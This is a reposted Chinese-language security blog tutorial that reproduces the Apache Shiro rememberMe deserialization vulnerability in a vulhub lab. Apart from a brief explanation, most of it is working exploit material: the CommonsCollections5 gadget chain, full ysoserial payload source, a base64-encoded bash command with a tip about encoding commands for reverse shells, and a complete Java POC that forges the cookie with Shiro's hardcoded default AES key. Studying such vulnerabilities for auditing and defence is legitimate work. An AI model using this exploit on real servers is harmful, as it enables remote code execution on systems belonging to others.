本文介绍: Apache Shiro一个强大且易用的 Java安全框架,执行身份验证授权密码会话管理shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会shiro序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制理解以及java代码审计颇有帮助。


0x01 前言

Apache Shiro一个强大且易用的 Java安全框架,执行身份验证授权密码会话管理shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会shiro序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制理解以及java代码审计颇有帮助。本文针对Shiro进行了一个原理性的讲解,从源码层面来分析了Shiro认证授权的整个流程说明rememberme作用,以及为何该字段会导致反序列化漏洞。


0x02 Shiro 登录认证流程图

在这里插入图片描述


0x02 版本范围

Shiro <= 1.2.5


0x03 Shiro 登录验证流程调试分析

Shiro 环境来自 vulhub我们先正常输入账号密码登录断点调试分析Shiro整个登录过程做了什么操作

小结分析完整个登录验证的代码执行过程后,其实就很容易想到一个安全问题生成 rememberMe 信息时进行了序列操作有序列化,并有反序列化过程,且加解密秘钥使用的硬编码我们完全可以伪造 rememberMe 的信息触发序列化漏洞,进而控制服务器


0x04 复现漏洞:

1、 服务端接收rememberMe的cookie值后的操作是:CookierememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们构造 poc 就需要先序列化数据然后再AES加密最后base64编码
2、由于上述 shirodemo 存在 commonscollections 3.2.1 依赖, 所以可使用 CommonsCollections5 利用链, 借助 ysoserial 指定CommonsCollections5 生成序列数据。(后续会写一些反序列化利用链原理与挖掘文章,现在先将就用 ysoserial 生成)

1、CommonsCollections5 利用链如下

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

2、ysoserial 指定 CommonsCollections5 利用链生成序列数据源代码如下:

package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

	public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections5.class, args);
	}

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

执行命令java -jar .ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}
含义:指定 CommonsCollections5 利用链生成可执行 echo The server has been hacked > warning.txt 命令序列数据

为什么要写成 bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i},而不是直接写 echo The server has been hacked > warning.txt
原因:当命令包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过。具体看参考篇文章绕过exec获取反弹shell

// exec(String command)
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

3、编写 POC 生成 Payload:

在这里插入图片描述

package shiro;

import java.io.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class ShiroPoc {

    private static String KEY = "kPH+bIxk5D2deZiIxcaaaA==";
    private static String gadget = "CommonsCollections5";
    private static String cmd = "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}";

    public static byte[] exec(String cmd) {
        Process process = null;

        try {
            if (File.separator.equals("/")) {
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
            }
        } catch (IOException var6) {
            var6.printStackTrace();
        }

        InputStream in1 = process.getInputStream();
        byte[] stdout = inputStreamToBytes(in1);
        InputStream in2 = process.getErrorStream();
        byte[] stderr = inputStreamToBytes(in2);
        return stdout.length != 0 ? stdout : stderr;
    }

    public static byte[] inputStreamToBytes(InputStream in) {
        ByteArrayOutputStream baos = null;

        Object var3;
        try {
            baos = new ByteArrayOutputStream();
            byte[] bytes = new byte[1024];

            int len;
            while((len = in.read(bytes)) != -1) {
                baos.write(bytes, 0, len);
            }

            byte[] result = baos.toByteArray();
            byte[] var5 = result;
            return var5;
        } catch (IOException var15) {
            var3 = null;
        } finally {
            try {
                if (baos != null) {
                    baos.close();
                }

                if (in != null) {
                    in.close();
                }
            } catch (IOException var14) {
                var14.printStackTrace();
            }

        }

        return (byte[])var3;
    }

    public static void main(String[] args) throws IOException {
        String result = "java -jar ""+"src\main\java\shiro\ysoserial.jar" "+ gadget+ " "" + cmd + """;
        byte[] ans = exec(result);
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(KEY);

        ByteSource ciphertext = aes.encrypt(ans, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("src\main\java\shiro\rememberMe.txt"));
        out.write(ciphertext.toBase64());
        out.close();
    }
}

4、验证漏洞:

在这里插入图片描述
在这里插入图片描述
验证成功,漏洞复现成功。


原文地址:https://blog.csdn.net/haduwi/article/details/127399463

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_29320.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注